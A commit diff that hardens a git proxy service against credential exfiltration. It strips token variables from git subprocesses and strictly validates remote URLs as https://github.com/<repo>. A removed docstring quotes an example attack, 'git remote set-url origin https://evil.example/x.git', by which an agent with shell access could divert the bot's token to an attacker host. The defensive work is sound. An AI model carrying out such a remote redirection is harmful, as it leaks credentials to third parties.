security(python-robomp): implemented git remote validation and credential hardening

- Sanitized git subprocess environment variables to prevent leakage of parent authentication tokens.
- Enforced strict HTTPS protocol restrictions and source validation for all git repositories.
- Implemented secure remote URL handling to neutralize malicious push URLs and prevent credential exfiltration.
- Applied scoped token injection during git operations to restrict token exposure to intended targets.
This commit is contained in:
can1357
2026-06-23 20:19:14 +02:00
parent bc41b2ed3e
commit c752aee69d
4 changed files with 516 additions and 110 deletions
+153 -72
View File
@@ -14,10 +14,11 @@ from __future__ import annotations
import asyncio
import logging
import os
import re
import subprocess
from collections.abc import AsyncIterator
from contextlib import asynccontextmanager
from dataclasses import asdict
from dataclasses import asdict, dataclass
from pathlib import Path
from typing import Any
from urllib.parse import urlparse
@@ -151,10 +152,8 @@ def _require_review_comments(value: Any) -> list[dict[str, Any]]:
comments.append(comment)
return comments
def _pool_dir(cfg: Settings, repo: str) -> Path:
if "/" not in repo or repo.startswith("/") or ".." in repo.split("/"):
raise HTTPException(400, f"invalid repo {repo!r}")
_validate_repo_name(repo)
return Path(cfg.workspace_root) / "_pool" / repo.replace("/", "__")
@@ -182,19 +181,58 @@ def _resolve_hmac_key(cfg: Settings) -> bytes:
_ORIGIN_READ_TIMEOUT_SECONDS = 5.0
def _read_origin_url(repo_dir: Path, slot_uid: int | None = None) -> str:
"""Return the worktree's `origin` remote URL, or raise HTTPException."""
env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"}
_REMOTE_HELPER_RE = re.compile(r"^[A-Za-z][A-Za-z0-9+.-]*::")
_FORBIDDEN_URL_BYTES_RE = re.compile(r"[\x00-\x1f\x7f]|%(?:00|0a|0d)", re.IGNORECASE)
_GITHUB_REPO_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9-]{0,38}/[A-Za-z0-9._-]+$")
_GIT_PROBE_SCRUBBED_ENV_KEYS = (
"ROBOMP_GIT_HTTP_AUTH",
"GITHUB_TOKEN",
"GH_TOKEN",
"GITHUB_WEBHOOK_SECRET",
"ROBOMP_REPLAY_TOKEN",
"ROBOMP_GH_PROXY_HMAC_KEY",
)
@dataclass(slots=True, frozen=True)
class _RemoteAuth:
url: str
token: str | None
auth_url: str | None
def _validate_repo_name(repo: str) -> None:
if not _GITHUB_REPO_RE.fullmatch(repo) or "/.." in repo or "../" in repo:
raise HTTPException(400, f"invalid repo {repo!r}")
def _github_url_for_repo(repo: str) -> str:
_validate_repo_name(repo)
return f"https://github.com/{repo}.git"
def _git_probe_env(repo_dir: Path) -> dict[str, str]:
env = {**os.environ, "GIT_TERMINAL_PROMPT": "0", "GIT_ASKPASS": "", "SSH_ASKPASS": ""}
for key in _GIT_PROBE_SCRUBBED_ENV_KEYS:
env.pop(key, None)
env.update(_safe_directory_env(repo_dir))
return env
def _read_remote_urls(repo_dir: Path, slot_uid: int | None = None, *, push: bool = False) -> list[str]:
"""Read every configured fetch URL or push URL for `origin` without contacting it."""
env = _git_probe_env(repo_dir)
slot_kwargs = _slot_subprocess_kwargs(slot_uid)
selector = ["--push", "--all"] if push else ["--all"]
try:
proc = subprocess.run(
["git", "-C", str(repo_dir), "remote", "get-url", "origin"],
["git", "-C", str(repo_dir), "remote", "get-url", *selector, "origin"],
capture_output=True,
text=True,
check=False,
timeout=_ORIGIN_READ_TIMEOUT_SECONDS,
env=env,
**_slot_subprocess_kwargs(slot_uid),
**slot_kwargs,
)
except subprocess.TimeoutExpired as exc:
raise HTTPException(504, "timeout reading origin url") from exc
@@ -204,72 +242,89 @@ def _read_origin_url(repo_dir: Path, slot_uid: int | None = None) -> str:
# already captured the failure.
log.warning("gh-proxy: failed to read origin url", extra={"repo_dir": str(repo_dir)})
raise HTTPException(400, "could not read origin url for worktree")
return proc.stdout.strip()
return [line.strip() for line in proc.stdout.splitlines() if line.strip()]
def _pat_safe_remote(url: str, expected_repo: str) -> bool:
"""Whether git may carry the bot PAT to `url` for `expected_repo`.
def _read_single_remote_url(repo_dir: Path, expected_repo: str, *, push: bool, slot_uid: int | None = None) -> str:
urls = list(dict.fromkeys(_read_remote_urls(repo_dir, slot_uid=slot_uid, push=push)))
if len(urls) != 1:
kind = "push" if push else "fetch"
log.warning(
"gh-proxy: refusing git op — origin has ambiguous remote urls",
extra={"expected_repo": expected_repo, "kind": kind, "count": len(urls)},
)
raise HTTPException(400, f"origin must have exactly one {kind} url")
return urls[0]
The PAT is injected via `--config-env http.extraHeader=…` (see
`git_ops._run_git`); git ONLY forwards that header on HTTP(S) requests.
So:
• An HTTP(S) remote MUST resolve to `github.com/<expected_repo>`
exactly, with no embedded credentials — anything else and we'd be
handing the bot's token to an attacker-controlled host.
• Other schemes (ssh, file, git://, …) can't carry the PAT header,
so they're safe by construction; the legitimate test path uses
local file remotes.
"""
def _normalized_github_https_url(url: str, expected_repo: str) -> str:
_validate_repo_name(expected_repo)
parsed = urlparse(url)
scheme = (parsed.scheme or "").lower()
if scheme not in ("http", "https"):
return True
if (parsed.scheme or "").lower() != "https":
raise HTTPException(400, f"remote url must be https://github.com/{expected_repo}[.git]")
if parsed.username or parsed.password:
return False
host = (parsed.hostname or "").lower()
# Strip optional leading slash, trailing slash, and `.git` suffix.
raise HTTPException(400, "remote url must not contain embedded credentials")
try:
port = parsed.port
except ValueError as exc:
raise HTTPException(400, "remote url has invalid port") from exc
if port is not None:
raise HTTPException(400, "remote url must not specify a port")
if (parsed.hostname or "").lower() != "github.com":
raise HTTPException(400, f"remote url host must be github.com for repo {expected_repo!r}")
if parsed.params or parsed.query or parsed.fragment:
raise HTTPException(400, "remote url must not contain params, query, or fragment")
path = parsed.path.strip("/")
if path.endswith(".git"):
path = path[:-4]
return host == "github.com" and path.lower() == expected_repo.lower()
if path.lower() != expected_repo.lower():
raise HTTPException(400, f"remote url does not match repo {expected_repo!r}")
return _github_url_for_repo(expected_repo)
def _assert_origin_safe_for_repo(repo_dir: Path, expected_repo: str, slot_uid: int | None = None) -> None:
"""Refuse a token-bearing git op if the repo's `origin` would leak the PAT.
def _remote_auth_for_url(url: str, expected_repo: str, token: str) -> _RemoteAuth:
raw = url.strip()
if not raw or raw != url:
raise HTTPException(400, "remote url must not be empty or padded")
if _FORBIDDEN_URL_BYTES_RE.search(raw):
raise HTTPException(400, "remote url contains forbidden control bytes")
if _REMOTE_HELPER_RE.match(raw):
raise HTTPException(400, "git remote helper transports are disabled")
scheme = (urlparse(raw).scheme or "").lower()
if scheme in ("http", "https"):
normalized = _normalized_github_https_url(raw, expected_repo)
return _RemoteAuth(url=normalized, token=token, auth_url=normalized)
return _RemoteAuth(url=raw, token=None, auth_url=None)
Without this guard, an agent with shell access in the workspace (or with
group write to the shared pool clone) could
`git remote set-url origin https://evil.example/x.git` and the proxy
would happily fetch/push (with the PAT) to that remote.
"""
url = _read_origin_url(repo_dir, slot_uid=slot_uid)
if not _pat_safe_remote(url, expected_repo):
def _clone_remote_auth(clone_url: str, expected_repo: str, token: str) -> _RemoteAuth:
try:
return _remote_auth_for_url(clone_url, expected_repo, token)
except HTTPException:
log.warning(
"gh-proxy: refusing git op — origin does not match repo",
"gh-proxy: refusing clone — clone_url is not permitted",
extra={"expected_repo": expected_repo},
)
raise HTTPException(
400,
f"origin url does not match repo {expected_repo!r}; refusing token-bearing git op",
)
raise
def _assert_clone_url_safe(clone_url: str, expected_repo: str) -> None:
"""Refuse a clone whose caller-supplied `clone_url` would leak the PAT.
The pool has no `origin` yet, so there is nothing on disk to validate —
guard the request body directly with the same policy as
`_assert_origin_safe_for_repo`.
"""
if not _pat_safe_remote(clone_url, expected_repo):
def _origin_remote_auth(
repo_dir: Path,
expected_repo: str,
token: str,
*,
push: bool = False,
slot_uid: int | None = None,
) -> _RemoteAuth:
url = _read_single_remote_url(repo_dir, expected_repo, push=push, slot_uid=slot_uid)
try:
return _remote_auth_for_url(url, expected_repo, token)
except HTTPException:
log.warning(
"gh-proxy: refusing clone — clone_url does not match repo",
extra={"expected_repo": expected_repo},
)
raise HTTPException(
400,
f"clone_url does not match repo {expected_repo!r}; refusing to clone",
"gh-proxy: refusing git op — origin url is not permitted",
extra={"expected_repo": expected_repo, "push": push},
)
raise
def create_proxy_app(settings: Settings) -> FastAPI:
@@ -637,15 +692,16 @@ def create_proxy_app(settings: Settings) -> FastAPI:
repo = _require_str(data.get("repo"), "repo")
clone_url = _require_str(data.get("clone_url"), "clone_url")
default_branch = _require_str(data.get("default_branch"), "default_branch")
_assert_clone_url_safe(clone_url, repo)
remote = _clone_remote_auth(clone_url, repo, _resolve_token(settings))
target = _pool_dir(settings, repo)
try:
await _run_git_op(
git_clone,
target,
clone_url=clone_url,
clone_url=remote.url,
default_branch=default_branch,
token=_resolve_token(settings),
token=remote.token,
auth_url=remote.auth_url,
)
except GitCommandError as exc:
return _git_error_response(exc)
@@ -656,11 +712,15 @@ def create_proxy_app(settings: Settings) -> FastAPI:
data = await _json_body(request)
repo = _require_str(data.get("repo"), "repo")
target = _pool_dir(settings, repo)
# Block attacker-controlled `origin` from being a PAT exfil channel
# before any subprocess injects the token header.
await asyncio.to_thread(_assert_origin_safe_for_repo, target, repo)
remote = await asyncio.to_thread(_origin_remote_auth, target, repo, _resolve_token(settings))
try:
await _run_git_op(git_fetch_prune, target, token=_resolve_token(settings))
await _run_git_op(
git_fetch_prune,
target,
token=remote.token,
remote_url=remote.url,
auth_url=remote.auth_url,
)
except GitCommandError as exc:
return _git_error_response(exc)
return JSONResponse({"pool_dir": str(target)})
@@ -671,9 +731,16 @@ def create_proxy_app(settings: Settings) -> FastAPI:
repo = _require_str(data.get("repo"), "repo")
ref = _require_str(data.get("ref"), "ref")
target = _pool_dir(settings, repo)
await asyncio.to_thread(_assert_origin_safe_for_repo, target, repo)
remote = await asyncio.to_thread(_origin_remote_auth, target, repo, _resolve_token(settings))
# fetch_ref is intentionally best-effort; never surfaces a 5xx.
await _run_git_op(git_fetch_ref, target, ref, token=_resolve_token(settings))
await _run_git_op(
git_fetch_ref,
target,
ref,
token=remote.token,
remote_url=remote.url,
auth_url=remote.auth_url,
)
return JSONResponse({"pool_dir": str(target)})
@app.post("/gh/v1/git/fetch_pr_head")
@@ -682,9 +749,16 @@ def create_proxy_app(settings: Settings) -> FastAPI:
repo = _require_str(data.get("repo"), "repo")
pr_number = _require_int(data.get("pr_number"), "pr_number")
target = _pool_dir(settings, repo)
await asyncio.to_thread(_assert_origin_safe_for_repo, target, repo)
remote = await asyncio.to_thread(_origin_remote_auth, target, repo, _resolve_token(settings))
try:
await _run_git_op(git_fetch_pr_head, target, pr_number, token=_resolve_token(settings))
await _run_git_op(
git_fetch_pr_head,
target,
pr_number,
token=remote.token,
remote_url=remote.url,
auth_url=remote.auth_url,
)
except GitCommandError as exc:
return _git_error_response(exc)
return JSONResponse({"pool_dir": str(target)})
@@ -704,16 +778,23 @@ def create_proxy_app(settings: Settings) -> FastAPI:
repo_dir = _workspace_repo_dir(settings, workspace_key)
if not repo_dir.is_dir():
raise HTTPException(404, f"workspace not found: {workspace_key}")
# Block attacker-controlled `origin` from being a PAT exfil channel.
# MUST run BEFORE any subprocess that would inject the token header.
await asyncio.to_thread(_assert_origin_safe_for_repo, repo_dir, repo, slot_uid)
remote = await asyncio.to_thread(
_origin_remote_auth,
repo_dir,
repo,
_resolve_token(settings),
push=True,
slot_uid=slot_uid,
)
try:
result = await _run_git_op(
git_push,
repo_dir,
branch=branch,
expected_head=expected_head,
token=_resolve_token(settings),
token=remote.token,
remote_url=remote.url,
auth_url=remote.auth_url,
slot_uid=slot_uid,
)
except HeadDriftError as exc: